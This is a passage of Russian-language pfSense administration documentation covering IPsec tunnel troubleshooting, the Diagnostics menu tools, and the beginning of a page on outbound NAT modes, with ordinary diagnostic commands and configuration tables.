Phase 1 (IKE SA) отвечает за аутентификацию сторон и согласование параметров безопасности. Ошибки на этом этапе полностью блокируют установление туннеля.

### Несовпадение параметров шифрования

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `received NO_PROPOSAL_CHOSEN` | Несовпадение алгоритма шифрования, хеша или DH Group | Сравните параметры Encryption Algorithm на обеих сторонах; все три компонента (шифр, хеш, DH Group) должны совпадать |
| `no acceptable ENCRYPTION_ALGORITHM found` | Удалённая сторона не поддерживает предложенный алгоритм | Добавьте алгоритм, поддерживаемый удалённой стороной, или согласуйте общий набор |
| `no acceptable INTEGRITY_ALGORITHM found` | Несовпадение алгоритма хеширования | Установите одинаковый Hash Algorithm (SHA256, SHA384, SHA512) на обеих сторонах |
| `no acceptable DIFFIE_HELLMAN_GROUP found` | Несовпадение группы DH | Установите одинаковый DH Group; рекомендуется Group 14 (2048 bit) или выше |

При использовании AES-GCM в Phase 1 обратите внимание, что некоторые реализации (Cisco ASA, устаревшие версии MikroTik) не поддерживают GCM для IKE. В этом случае используйте AES-CBC с отдельным алгоритмом хеширования.

### Ошибки аутентификации

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `received AUTHENTICATION_FAILED` | Несовпадение PSK или ошибка проверки сертификата | При PSK: проверьте точное совпадение ключей (регистр, пробелы, спецсимволы). При сертификатах: убедитесь, что CA-сертификат импортирован на обеих сторонах |
| `PEER_AUTH_FAILED` | Удалённая сторона не прошла проверку подлинности | Проверьте идентификатор удалённой стороны (IP, FQDN, DN) |
| `invalid HASH_V1 payload length, decryption failed?` | Несовпадение PSK (IKEv1) | Пересоздайте PSK на обеих сторонах |
| `could not decrypt payloads` | Несовпадение PSK | Проверьте PSK на обеих сторонах, обращая внимание на невидимые символы (пробелы в конце строки) |

> **Внимание**:
>
> При копировании PSK через буфер обмена нередко добавляются невидимые символы (пробелы, символы переноса строки). Рекомендуется вводить ключ вручную или использовать генератор случайных строк.

### Ошибки идентификаторов

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `no IKE config found for ... - ...` | Идентификатор удалённой стороны не совпадает с настройками | Проверьте значения My identifier и Peer identifier на обеих сторонах |
| `remote host is behind NAT, sending keep alives` + отказ | Peer identifier настроен на IP, но NAT подменяет адрес | Измените Peer identifier на ID типа `Distinguished Name` или `User FQDN` вместо `Peer IP Address` |
| `parsed CERT_REQ payload, but no certificate found` | Запрошен сертификат, но он не настроен | Проверьте, что серверный сертификат указан в Phase 1 и не истёк |

### Недоступность удалённого узла

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `giving up after 5 retransmits` | Удалённый узел не отвечает | Проверьте: 1) IP-адрес удалённого узла; 2) UDP 500 и 4500 не блокируются; 3) IPsec-сервис запущен на удалённом узле |
| `connection timed out` | Нет сетевой связности | Проверьте маршрутизацию до удалённого узла (ping, traceroute) |
| `sending retransmit N of request message` | Пакеты отправляются, но ответ не приходит | Проблема может быть на промежуточном оборудовании (файрвол ISP, NAT-устройство) |

### DPD-ошибки

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `DPD: peer is considered dead` | Удалённый узел не ответил на DPD-запросы | Проверьте сетевую связность; увеличьте DPD Delay (30 секунд) и Max Failures (10) |
| `deleting IKE_SA ... after DPD timeout` | Туннель удалён из-за DPD-таймаута | Если канал связи нестабилен, увеличьте DPD-таймеры или используйте keep-alive ping |
| Частые разрывы и переподключения | Потеря UDP-пакетов на промежуточном оборудовании | Проверьте качество канала; при использовании QoS убедитесь, что UDP 500/4500 не ограничивается |

## Типичные ошибки Phase 2

Phase 2 (Child SA / IPsec SA) согласуется внутри защищённого канала Phase 1. Ошибки Phase 2 возникают при установленной Phase 1 - статус Phase 1 показывает `Established`, но Child SA не создаётся.

### Несовпадение подсетей (Traffic Selectors)

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `no matching CHILD_SA config found` | Подсети в Phase 2 не совпадают с предложенными удалённой стороной | Убедитесь, что Local Network на одной стороне соответствует Remote Network на другой (зеркальное совпадение) |
| `TS_UNACCEPTABLE` | Traffic Selectors отклонены | Проверьте маску подсети: `/24` и `/32` - разные значения. Распространённая ошибка - указать хост (`10.1.0.0/32`) вместо сети (`10.1.0.0/24`) |
| `received TS_UNACCEPTABLE notify, no CHILD_SA built` | Удалённая сторона не приняла предложенные подсети | Сравните Traffic Selectors в логах обеих сторон |

> **Внимание**:
>
> Несовпадение подсетей - наиболее распространённая причина отказа Phase 2. Маска подсети должна совпадать побитово: `10.1.0.0/24` на одной стороне и `10.1.0.0/24` на другой (не `10.1.0.0/23` или `10.1.0.0/32`).

### Несовпадение параметров шифрования Phase 2

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `NO_PROPOSAL_CHOSEN` (при установленной Phase 1) | Несовпадение алгоритма шифрования или хеша Phase 2 | Проверьте Encryption Algorithm и Hash Algorithm в Phase 2 на обеих сторонах |
| `no acceptable ENCRYPTION_ALGORITHM found` | Предложенный алгоритм не поддерживается | Согласуйте общий алгоритм; AES-256-GCM или AES-256-CBC - наиболее совместимые варианты |
| `no acceptable INTEGRITY_ALGORITHM found` | Несовпадение Hash Algorithm | Установите одинаковый Hash Algorithm в Phase 2 |

### Несовпадение PFS

| Сообщение об ошибке | Причина | Решение |
|---|---|---|
| `no acceptable DIFFIE_HELLMAN_GROUP found` (в Phase 2) | Несовпадение PFS Group | Установите одинаковый PFS key group на обеих сторонах или отключите PFS на обеих |
| `INVALID_KE_PAYLOAD` | Удалённая сторона отправила ключ DH другой длины | Проверьте PFS Group; одна сторона может использовать Group 14, другая - Group 2 |
| Phase 2 устанавливается, но через час падает | PFS включён на одной стороне и отключён на другой | При rekeying PFS-параметры проверяются повторно; обеспечьте совпадение или отключите PFS на обеих сторонах |

### Туннель установлен, но трафик не проходит

Если Phase 1 и Phase 2 установлены (статус `Established`), но пользовательский трафик не проходит, проблема лежит за пределами IPsec-согласования.

| Проблема | Причина | Решение |
|---|---|---|
| Нет ответа на ping через туннель | Отсутствуют правила на вкладке **Firewall > Rules > IPsec** | Создайте правила, разрешающие трафик между подсетями |
| Трафик идёт только в одном направлении | Правила файрвола настроены только в одну сторону | Добавьте правила для обоих направлений на обеих сторонах |
| Ответные пакеты не возвращаются | Асимметричная маршрутизация: ответный трафик уходит мимо туннеля | Проверьте таблицу маршрутизации на удалённой стороне; убедитесь, что ответный трафик попадает в Policy SPD |
| Пакеты фрагментируются и теряются | MTU-проблемы из-за IPsec overhead | Уменьшите MSS через **System > Advanced > Firewall & NAT** (MSS Clamping) или уменьшите MTU на интерфейсах |
| Трафик ICMP проходит, TCP зависает | MSS не уменьшен для учёта IPsec overhead | Включите MSS Clamping; IPsec добавляет 50-73 байта к каждому пакету |
| Дублированные SA (два одинаковых Child SA) | Одновременный rekeying обеими сторонами | Перезапустите IPsec-сервис на одной стороне: `ipsec restart` |

## Проблемы с NAT-T

NAT Traversal (NAT-T) необходим, когда между двумя узлами IPsec-туннеля находится NAT-устройство (маршрутизатор, провайдерское оборудование). NAT-T инкапсулирует пакеты ESP в UDP порт 4500, позволяя им проходить через NAT.

### Когда NAT-T необходим

- Один или оба узла IPsec находятся за NAT (имеют приватный IP-адрес на WAN-интерфейсе)
- Между узлами находится маршрутизатор, выполняющий трансляцию адресов
- Провайдер использует Carrier-Grade NAT (CG-NAT)

### Типичные проблемы NAT-T

| Проблема | Причина | Решение |
|---|---|---|
| Phase 1 не устанавливается через NAT | NAT Traversal отключён | Установите NAT Traversal в `Auto` или `Force` на обеих сторонах |
| Phase 1 устанавливается, Phase 2 - нет | UDP 4500 блокируется промежуточным оборудованием | Проверьте проброс UDP 4500 на NAT-устройстве |
| `remote host is behind NAT` + ошибка идентификатора | Peer identifier настроен на IP-адрес, но NAT подменил адрес | Измените Peer identifier на `Distinguished Name` или `User FQDN` |
| Периодические разрывы через NAT | NAT-таблица на промежуточном устройстве истекает | Включите DPD с интервалом менее таймаута NAT-таблицы (обычно 60-300 секунд); убедитесь, что NAT keep-alive пакеты отправляются |
| Двойной NAT (NAT на обеих сторонах) | ESP не может пройти через два NAT-устройства без NAT-T | Включите Force NAT-T на обеих сторонах; обеспечьте проброс UDP 500 и 4500 на обоих NAT-устройствах |

### Проверка NAT-T

Для проверки работы NAT-T выполните захват пакетов на WAN-интерфейсе:

```bash
# Capture IKE and NAT-T traffic
tcpdump -ni em0 udp port 500 or udp port 4500

# Expected output with NAT-T active:
# 10.0.0.1.4500 > 203.0.113.10.4500: UDP-encap: ESP(spi=0x12345678,seq=0x1)
```

Если трафик виден на порту 4500 с пометкой `UDP-encap: ESP`, NAT-T работает корректно. Если трафик идёт по протоколу ESP (порт 50) при наличии NAT, туннель будет нестабильным.

## Диагностические команды

pfSense предоставляет набор команд для диагностики IPsec через **Diagnostics > Command Prompt** или SSH-подключение.

### Состояние IPsec SA

```bash
# Complete SA status with negotiated parameters
ipsec statusall

# Brief status (established tunnels only)
ipsec status

# View IP addresses assigned to mobile clients
ipsec leases
```

Команда `ipsec statusall` отображает:

- Согласованные алгоритмы шифрования и хеширования
- Группу DH и PFS
- Время до истечения SA
- Traffic Selectors (подсети)
- Количество переданных байтов
- Текущий статус IKE SA и Child SA

### Таблица Security Policy Database (SPD)

```bash
# View installed security policies
setkey -DP

# View installed security associations
setkey -D
```

Команда `setkey -DP` показывает, какие пакеты должны обрабатываться IPsec (направляться в туннель). Если политика отсутствует для нужной пары подсетей, трафик не будет зашифрован.

### Правила файрвола

```bash
# View all active firewall rules
pfctl -sr

# View rules for IPsec interface (enc0)
pfctl -sr | grep enc0

# View blocked packets in real time
tcpdump -ni pflog0
```

### Захват пакетов

```bash
# Capture IKE negotiation on WAN
tcpdump -ni em0 udp port 500 or udp port 4500

# Capture ESP traffic (without NAT-T)
tcpdump -ni em0 proto 50

# Capture decrypted traffic on IPsec interface
tcpdump -ni enc0

# Capture with detailed output and write to file
tcpdump -ni em0 -vvv -s 0 -w /tmp/ipsec-capture.pcap udp port 500 or udp port 4500
```

Захват на интерфейсе `enc0` показывает расшифрованный трафик внутри туннеля. Это позволяет определить, доходят ли пакеты до pfSense через туннель и в каком виде.

### Просмотр маршрутов

```bash
# View routing table
netstat -rn

# Check if route for remote subnet exists
netstat -rn | grep "10.2.0.0"

# View gateway groups status
pfctl -vvsA
```

### Управление IPsec-сервисом

```bash
# Restart IPsec service (drops all tunnels)
ipsec restart

# Reload configuration without dropping tunnels
ipsec update

# Terminate specific IKE SA
ipsec down <connection_name>

# Re-initiate specific connection
ipsec up <connection_name>
```

> **Внимание**:
>
> Команда `ipsec restart` разрывает все активные туннели. В производственной среде предпочтительнее использовать `ipsec update` для применения изменений конфигурации без разрыва существующих соединений.

## Проблемы при переустановлении (Rekeying)

Туннели IPsec имеют ограниченное время жизни. По истечении этого времени происходит rekeying - согласование нового ключевого материала. Ошибки при rekeying приводят к периодическим разрывам туннеля.

| Проблема | Причина | Решение |
|---|---|---|
| Туннель падает каждые N часов | Ошибка при rekeying Phase 1 или Phase 2 | Проверьте, совпадают ли Lifetime на обеих сторонах; проверьте логи в момент rekeying |
| Туннель падает и не восстанавливается | Child SA Start Action не настроен | Установите Child SA Start Action в `Start` для автоматического переподключения |
| Двойные SA после rekeying | Обе стороны одновременно инициируют rekeying | Установите разные Lifetime на разных сторонах (например, 28800 и 28200 для Phase 1) или убедитесь, что Rand Time не обнулён |
| Односторонний rekeying работает, двусторонний - нет | Настройки принимаются при инициации с одной стороны, но не с другой | Все параметры должны совпадать; проверьте, не добавлены ли дополнительные алгоритмы на одной стороне |

## Чек-лист диагностики

При возникновении проблем с IPsec-туннелем рекомендуется последовательно пройти следующий чек-лист.

### 1. Сетевая связность

- [ ] Удалённый узел доступен: `ping <remote_public_ip>`
- [ ] Маршрут до удалённого узла существует: `traceroute <remote_public_ip>`
- [ ] UDP 500 не блокируется: `nc -uzv <remote_public_ip> 500`
- [ ] UDP 4500 не блокируется: `nc -uzv <remote_public_ip> 4500`

### 2. Параметры Phase 1

- [ ] Версия IKE совпадает (IKEv1 или IKEv2)
- [ ] Алгоритм шифрования совпадает
- [ ] Hash Algorithm совпадает
- [ ] DH Group совпадает
- [ ] Lifetime совпадает (допускается разница; меньшее значение используется)
- [ ] Метод аутентификации совпадает (PSK или сертификаты)
- [ ] PSK идентичен на обеих сторонах (при использовании PSK)
- [ ] Идентификаторы (My/Peer) настроены корректно

### 3. Параметры Phase 2

- [ ] Подсети (Traffic Selectors) зеркально совпадают
- [ ] Маски подсетей корректны (`/24` vs `/32`)
- [ ] Алгоритм шифрования Phase 2 совпадает
- [ ] Hash Algorithm Phase 2 совпадает
- [ ] PFS Group совпадает или отключён на обеих сторонах
- [ ] Протокол ESP (не AH)

### 4. Сертификаты (при использовании)

- [ ] CA-сертификат импортирован на обеих сторонах
- [ ] Серверный сертификат не истёк (проверьте дату)
- [ ] SAN в серверном сертификате содержит IP или FQDN сервера
- [ ] Цепочка доверия сертификатов полная
- [ ] Для Apple-устройств: Lifetime серверного сертификата не более 825 дней

### 5. Правила файрвола

- [ ] UDP 500 и 4500 разрешены на WAN
- [ ] Правила на вкладке IPsec разрешают трафик между подсетями
- [ ] Нет конфликтующих плавающих правил
- [ ] NAT Traversal включён (Auto или Force) при наличии NAT

### 6. Маршрутизация и SA

- [ ] В `ipsec statusall` отображаются установленные SA
- [ ] В `setkey -DP` присутствуют политики для нужных подсетей
- [ ] В `netstat -rn` присутствует маршрут до удалённой подсети (для VTI)
- [ ] Счётчики байтов в Status > IPsec увеличиваются при прохождении трафика

## Связанные разделы

- [IPsec Site-to-Site VPN в pfSense](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/) - настройка site-to-site туннелей, терминология IPsec и параметры Phase 1/Phase 2
- [IPsec IKEv2 для мобильных клиентов в pfSense](/docs/pfsense/vpn/ipsec/pfsense-ipsec-mobile-clients/) - настройка IKEv2 для удалённого доступа, сертификаты и конфигурация клиентских устройств
- [Правила файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/) - принципы создания и управления правилами файрвола для VPN-трафика
- [NAT в pfSense](/docs/pfsense/nat/) - настройка NAT, включая взаимодействие NAT и IPsec


---

# Инструменты диагностики pfSense - сетевой анализ

Source: https://opennix.org/docs/pfsense/monitoring/pfsense-diagnostics/


pfSense предоставляет набор инструментов диагностики сети, доступных через меню **Diagnostics** веб-интерфейса. Эти утилиты позволяют проверять связность, анализировать маршруты, захватывать пакеты и исследовать внутреннее состояние файрвола без необходимости подключения по SSH. Каждый инструмент ориентирован на определённый аспект диагностики - от базовой проверки доступности до анализа таблицы состояний pf в реальном времени.

Систематическое использование диагностических инструментов в определённой последовательности существенно ускоряет выявление и устранение сетевых проблем.

## Обзор меню Diagnostics

| Инструмент | Меню | Назначение |
|---|---|---|
| Ping | Diagnostics > Ping | Проверка доступности хоста |
| Traceroute | Diagnostics > Traceroute | Анализ маршрута до хоста |
| DNS Lookup | Diagnostics > DNS Lookup | Разрешение DNS-имён |
| ARP Table | Diagnostics > ARP Table | Таблица соответствий MAC-IP |
| NDP Table | Diagnostics > NDP Table | Таблица соседей IPv6 |
| States | Diagnostics > States | Таблица состояний файрвола |
| pfInfo | Diagnostics > pfInfo | Статистика pf |
| pfTop | Diagnostics > pfTop | Активные соединения в реальном времени |
| Packet Capture | Diagnostics > Packet Capture | Захват пакетов |
| Command Prompt | Diagnostics > Command Prompt | Выполнение команд и PHP |
| System Activity | Diagnostics > System Activity | Процессы и нагрузка |
| S.M.A.R.T. Status | Diagnostics > S.M.A.R.T. Status | Здоровье дисков |

## Ping

Утилита ping доступна через **Diagnostics > Ping** и позволяет проверить доступность удалённого хоста с учётом маршрутизации и правил файрвола pfSense.

### Параметры

- **Hostname** - IP-адрес или доменное имя целевого хоста
- **IP Protocol** - IPv4 или IPv6
- **Source Address** - интерфейс, с которого отправляются ICMP-запросы. Выбор источника критически важен при диагностике Multi-WAN и VPN: запрос с WAN-интерфейса и с LAN-интерфейса может следовать разными маршрутами
- **Maximum number of pings** - количество запросов (1, 3, 5, 10)
- **Seconds between pings** - интервал между запросами

### Интерпретация результатов

Результат содержит время отклика (RTT) для каждого запроса и итоговую статистику: отправлено, получено, потеряно, минимальное/среднее/максимальное RTT.

Типичные сценарии:

| Результат | Возможная причина |
|---|---|
| 100% packet loss | Хост недоступен, маршрут отсутствует, блокировка ICMP на промежуточном узле |
| Высокий RTT (>100 мс в LAN) | Перегрузка канала, проблема с оборудованием |
| Нестабильный RTT | Потери на промежуточном канале, проблема с QoS |
| Request timeout с периодическими ответами | Ограничение скорости ICMP на целевом хосте |

> **Внимание**:
>
> При выборе Source Address следует учитывать, что ping с интерфейса WAN использует публичный IP, а ping с LAN - внутренний адрес. При диагностике VPN-туннелей необходимо выбирать интерфейс, IP-адрес которого входит в адресное пространство туннеля.

## Traceroute

Утилита traceroute доступна через **Diagnostics > Traceroute** и отображает маршрут пакетов до целевого хоста с указанием каждого промежуточного узла.

### Параметры

- **Hostname** - IP-адрес или доменное имя
- **IP Protocol** - IPv4 или IPv6
- **Source Address** - интерфейс-источник
- **Maximum number of hops** - максимальная глубина трассировки (по умолчанию 18)
- **Reverse Resolve IP** - обратное разрешение DNS для IP-адресов промежуточных узлов
- **Use ICMP** - использование ICMP вместо UDP (некоторые хосты блокируют UDP-пробы)

### Интерпретация результатов

Каждая строка вывода содержит номер хопа, IP-адрес (или имя хоста) и три значения RTT. Символ `*` означает отсутствие ответа от данного узла.

Типичные паттерны:

- **Все хопы отображаются** - маршрут полностью прослеживается, проблема на целевом хосте
- **Звёздочки начиная с определённого хопа** - трафик блокируется на данном узле или далее
- **Резкий рост RTT на конкретном хопе** - перегрузка канала между данным и предыдущим узлом
- **Непоследовательный маршрут** - асимметричная маршрутизация или балансировка нагрузки

## DNS Lookup

Утилита доступна через **Diagnostics > DNS Lookup** и выполняет разрешение DNS-имён с использованием DNS-серверов, настроенных в pfSense.

### Параметры

- **Hostname** - доменное имя для разрешения

### Результаты

Вывод включает:

- Полученные IP-адреса (A/AAAA записи)
- DNS-сервер, ответивший на запрос
- Время разрешения
- Результаты обратного DNS-запроса (PTR) для полученных IP-адресов

Этот инструмент полезен для проверки корректности работы DNS Resolver (Unbound) или DNS Forwarder (dnsmasq), настроенных в pfSense. При расхождении результатов с ожидаемыми следует проверить настройки DNS в **System > General Setup** и конфигурацию DNS Resolver в **Services > DNS Resolver**.

## ARP Table

Таблица ARP доступна через **Diagnostics > ARP Table** и отображает соответствия между IP-адресами и MAC-адресами устройств в локальной сети.

### Отображаемые поля

| Поле | Описание |
|---|---|
| Interface | Интерфейс, через который обнаружено устройство |
| IP Address | IPv4-адрес устройства |
| MAC Address | MAC-адрес устройства |
| Hostname | Имя хоста (если разрешено через DNS/DHCP) |
| Status | Состояние записи: permanent, reachable, stale, expired |
| Link Type | Тип подключения: ethernet |

### Применение

- **Обнаружение IP-конфликтов** - два разных MAC-адреса для одного IP указывают на конфликт
- **Идентификация устройств** - определение MAC-адреса устройства по его IP (или наоборот) для привязки к конкретному оборудованию
- **Обнаружение ARP-spoofing** - аномальные записи могут свидетельствовать об атаке типа MITM
- **Проверка связности L2** - отсутствие записи для хоста в той же подсети указывает на проблему канального уровня

## NDP Table

Таблица NDP (Neighbor Discovery Protocol) доступна через **Diagnostics > NDP Table** и выполняет для IPv6 ту же функцию, что ARP для IPv4 - отображает соответствия между IPv6-адресами и MAC-адресами соседних устройств.

Отображаемые поля аналогичны ARP Table: интерфейс, IPv6-адрес, MAC-адрес, имя хоста и состояние.

## Таблица состояний (States)

Таблица состояний доступна через **Diagnostics > States** и отображает все текущие соединения, отслеживаемые файрволом pf.

### Отображаемые поля

| Поле | Описание |
|---|---|
| Interface | Интерфейс, на котором создано состояние |
| Protocol | Протокол: TCP, UDP, ICMP и др. |
| Source | Адрес и порт источника |
| Destination | Адрес и порт назначения |
| State | Состояние соединения (для TCP: ESTABLISHED, TIME_WAIT и др.) |
| Packets | Количество переданных пакетов |
| Bytes | Объём переданных данных |
| Age | Время существования записи |
| Expires in | Время до удаления записи |

### Фильтрация состояний

Страница предоставляет поле поиска для фильтрации по IP-адресу, порту или протоколу. Это позволяет быстро найти все соединения конкретного хоста или все соединения на определённый порт.

### Удаление состояний

Индивидуальные состояния можно удалить кнопкой в строке записи. Массовое удаление состояний выполняется через **Diagnostics > States > Reset States**. Удаление состояния принудительно прерывает соединение - клиенту потребуется установить новое.

> **Внимание**:
>
> Массовый сброс состояний прерывает все активные соединения через файрвол. Эту операцию следует выполнять только при необходимости - например, после изменения правил NAT, когда старые состояния содержат устаревшие трансляции.

### Применение

- **Диагностика проблем подключения** - проверка наличия или отсутствия ожидаемого состояния
- **Выявление аномалий** - большое количество состояний от одного IP может указывать на сканирование или атаку
- **Мониторинг VPN** - проверка прохождения трафика через VPN-туннель
- **Анализ NAT** - проверка корректности трансляции адресов

## pfInfo

Страница pfInfo доступна через **Diagnostics > pfInfo** и отображает полную статистику подсистемы pf (packet filter).

### Отображаемые данные

- **State Table** - текущее и максимальное количество записей в таблице состояний, процент использования
- **Counters** - счётчики пакетов: match, bad-offset, fragment, short, normalize, memory, bad-timestamp, congestion, ip-option, proto-cksum, state-mismatch, state-insert, state-limit, src-limit, synproxy
- **Source Tracking Table** - количество записей отслеживания источников
- **Limits** - настроенные лимиты: states, src-nodes, frags, tables, table-entries
- **Timeouts** - таймауты для различных протоколов и состояний

### Применение

- **Мониторинг заполнения таблицы состояний** - приближение к максимуму вызывает отбрасывание новых соединений
- **Выявление аномалий** - высокие значения bad-offset, fragment или state-mismatch указывают на проблемы или атаки
- **Планирование ёмкости** - анализ пиковых значений для корректировки лимитов в **System > Advanced > Firewall & NAT**

## pfTop

Утилита pfTop доступна через **Diagnostics > pfTop** и отображает таблицу состояний файрвола в реальном времени, аналогично утилите `top` для процессов.

### Режимы отображения

pfTop поддерживает несколько режимов сортировки и отображения:

- **Default** - все состояния, отсортированные по количеству байт
- **Long** - расширенный формат с дополнительными полями
- **Queue** - отображение очередей Traffic Shaper
- **Rules** - статистика по правилам файрвола
- **Size** - сортировка по объёму переданных данных
- **Speed** - сортировка по текущей скорости передачи
- **State** - сортировка по состоянию соединения
- **Time** - сортировка по времени существования

### Применение

- **Выявление потребителей полосы** - сортировка по Speed или Size показывает хосты с наибольшим трафиком
- **Мониторинг в реальном времени** - наблюдение за активными соединениями во время диагностики
- **Анализ правил** - режим Rules показывает, какие правила обрабатывают наибольший трафик

## Packet Capture

Инструмент захвата пакетов доступен через **Diagnostics > Packet Capture** и позволяет записывать сетевой трафик для последующего анализа. Функциональность основана на утилите tcpdump.

### Параметры захвата

| Параметр | Описание |
|---|---|
| Interface | Сетевой интерфейс для захвата (WAN, LAN, OPTx, VPN) |
| Promiscuous | Захват всех пакетов на интерфейсе (не только адресованных pfSense) |
| Address Family | IPv4, IPv6 или оба |
| Protocol | Фильтр протокола: Any, ICMP, TCP, UDP, ARP, CARP и др. |
| Host Address | IP-адрес для фильтрации (источник или назначение) |
| Port | Порт для фильтрации (источник или назначение) |
| Packet Length | Максимальная длина захватываемого пакета (snaplen) |
| Count | Количество пакетов для захвата (0 - без ограничения) |
| Level of Detail | Уровень детализации вывода: Normal, Medium, High, Full |

### Выполнение захвата

1. Настроить параметры фильтрации
2. Нажать **Start** для начала захвата
3. Воспроизвести проблемный трафик
4. Нажать **Stop** для остановки захвата
5. Просмотреть результаты непосредственно на странице или скачать файл pcap

### Скачивание pcap

После остановки захвата файл pcap доступен для скачивания по ссылке на странице. Файл можно открыть в Wireshark для детального анализа с применением фильтров отображения, следованием за потоком TCP и декодированием протоколов прикладного уровня.

### Рекомендации по захвату

- Указывать максимально узкие фильтры (хост, порт, протокол) для сокращения объёма данных
- Устанавливать разумное ограничение Count для предотвращения переполнения памяти
- Для диагностики NAT выполнять захват одновременно на WAN и LAN интерфейсах (в двух вкладках браузера) для сравнения адресов до и после трансляции
- Для VPN-диагностики захватывать трафик на физическом интерфейсе (зашифрованный) и на виртуальном интерфейсе туннеля (расшифрованный)

## Command Prompt

Страница доступна через **Diagnostics > Command Prompt** и предоставляет возможность выполнения команд операционной системы и PHP-кода непосредственно из веб-интерфейса.

### Выполнение команд Shell

Поле **Execute Shell Command** позволяет запускать любые команды FreeBSD:

```bash
# Проверка загрузки процессора
top -b -n 1 | head -5

# Просмотр таблицы маршрутизации
netstat -rn

# Проверка сетевых интерфейсов
ifconfig -a

# Просмотр правил pf
pfctl -sr

# Проверка состояния служб
sockstat -l
```

### Выполнение PHP-команд

Поле **Execute PHP Command** позволяет запускать PHP-код с доступом к внутреннему API pfSense. Это используется для отладки конфигурации и выполнения операций, недоступных через стандартный интерфейс.

> **Внимание**:
>
> Command Prompt предоставляет полный доступ к системе с правами root. Некорректные команды могут вывести систему из строя. Следует использовать этот инструмент только при необходимости и с чётким пониманием выполняемых действий.

### Загрузка и скачивание файлов

Страница также предоставляет функции загрузки файлов на pfSense и скачивания файлов с устройства. Это полезно для передачи конфигурационных файлов, скриптов или результатов диагностики.

## System Activity

Страница доступна через **Diagnostics > System Activity** и отображает вывод утилиты `top` - список процессов, отсортированных по потреблению ресурсов.

### Отображаемые данные

- **Load Averages** - средняя нагрузка за 1, 5 и 15 минут
- **CPU Usage** - потребление CPU по категориям (user, system, interrupt, idle)
- **Memory Usage** - использование оперативной памяти
- **Swap Usage** - использование пространства подкачки
- **Process List** - список процессов с PID, пользователем, приоритетом, потреблением CPU и памяти

### Применение

- **Выявление ресурсоёмких процессов** - определение процессов, создающих чрезмерную нагрузку
- **Диагностика зависаний** - проверка состояния процессов (running, sleeping, zombie)
- **Мониторинг памяти** - контроль использования swap (активное использование swap указывает на нехватку RAM)

## S.M.A.R.T. Status

Страница доступна через **Diagnostics > S.M.A.R.T. Status** и отображает данные диагностики S.M.A.R.T. (Self-Monitoring, Analysis and Reporting Technology) для жёстких дисков и SSD.

### Доступные тесты

- **Info** - общая информация о диске: модель, серийный номер, прошивка, ёмкость
- **Health** - общая оценка здоровья диска (PASSED/FAILED)
- **SMART Attributes** - детальные атрибуты: температура, количество переназначенных секторов, часы работы, количество циклов включения
- **Logs** - журнал ошибок и результаты предыдущих тестов
- **Short/Long Self-Test** - запуск самодиагностики диска

Регулярная проверка S.M.A.R.T. позволяет обнаружить деградацию диска до его полного выхода из строя.

## Методология диагностики

Систематический подход к диагностике сетевых проблем в pfSense:

### Шаг 1: Определение симптомов

Определить характер проблемы: полная потеря связности, снижение производительности, периодические отказы, проблема с конкретным сервисом.

### Шаг 2: Проверка базовой связности

1. **Ping** шлюза из pfSense - проверяет работоспособность WAN-подключения
2. **Ping** целевого хоста из pfSense - проверяет маршрутизацию
3. **DNS Lookup** - проверяет разрешение имён

### Шаг 3: Анализ маршрута

1. **Traceroute** до целевого хоста - определяет точку обрыва маршрута
2. Выбор правильного Source Address для проверки маршрутизации через конкретный интерфейс

### Шаг 4: Проверка файрвола

1. **States** - проверить наличие или отсутствие записи состояния для проблемного соединения
2. **Системные логи (Firewall)** - проверить, не блокируется ли трафик правилами файрвола
3. **pfInfo** - проверить, не достигнут ли лимит таблицы состояний

### Шаг 5: Углублённый анализ

1. **Packet Capture** - захватить трафик на интерфейсах для анализа на уровне пакетов
2. **pfTop** - проверить активные соединения в реальном времени
3. **ARP Table** - проверить разрешение адресов на канальном уровне

### Шаг 6: Анализ ресурсов

1. **System Activity** - проверить нагрузку на CPU и память
2. **S.M.A.R.T.** - проверить здоровье дисков
3. **Dashboard** - оценить общее состояние системы

## Связанные разделы

- [Графики мониторинга pfSense](/docs/pfsense/monitoring/pfsense-monitoring-graphs/) - визуализация исторических данных производительности для выявления трендов
- [Системные логи pfSense](/docs/pfsense/monitoring/pfsense-system-logs/) - журналы событий для детального анализа инцидентов
- [Правила файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/) - настройка правил фильтрации, влияющих на результаты диагностики


---

# Исходящий NAT в pfSense - настройка Outbound NAT режимов

Source: https://opennix.org/docs/pfsense/nat/pfsense-outbound-nat/


Исходящий NAT (outbound NAT, source NAT) в pfSense управляет трансляцией адреса источника для трафика, покидающего сеть через внешний интерфейс. Когда пакет от внутреннего хоста направляется в интернет, файрвол заменяет приватный адрес источника на публичный адрес WAN-интерфейса (или другой указанный адрес). Это базовый механизм, обеспечивающий доступ внутренних хостов с частными адресами RFC 1918 к ресурсам интернета.

pfSense предоставляет четыре режима работы исходящего NAT, различающихся степенью автоматизации и контроля. Выбор режима определяется сложностью сетевой инфраструктуры и требованиями к трансляции.

## Режимы работы

pfSense поддерживает четыре режима исходящего NAT. Переключение между режимами выполняется в **Firewall > NAT**, вкладка **Outbound**.

| Режим | Описание | Когда использовать |
|---|---|---|
| **Automatic** | Автоматическая генерация правил для всех внутренних интерфейсов | Стандартные конфигурации с одним WAN |
| **Hybrid** | Автоматические правила + возможность добавления ручных правил | Необходимы отдельные исключения (static port, несколько WAN) |
| **Manual** | Только вручную созданные правила | Полный контроль над трансляцией |
| **Disable** | Исходящий NAT полностью отключён | Сети с маршрутизируемыми адресами |

![Выбор режима Outbound NAT](/img/pfsense/pfsense-nat-outbound-mode.webp)
<p style="text-align: center;">Рис. 1. Выбор режима работы исходящего NAT</p>

### Сравнение режимов

| Характеристика | Automatic | Hybrid | Manual |
|---|---|---|---|
| Автоматические правила | Да | Да (как fallback) | Нет |
| Ручные правила | Игнорируются | Обрабатываются первыми | Единственный источник правил |
| Реакция на добавление интерфейса | Автоматически | Автоматически (для fallback) | Требуется ручное добавление правила |
| Сложность настройки | Минимальная | Средняя | Высокая |
| Риск потери связи | Минимальный | Низкий | Высокий (при ошибке) |
| Рекомендуется для | Базовых конфигураций | Большинства production-систем | Сложных многоинтерфейсных конфигураций |

## Автоматический режим

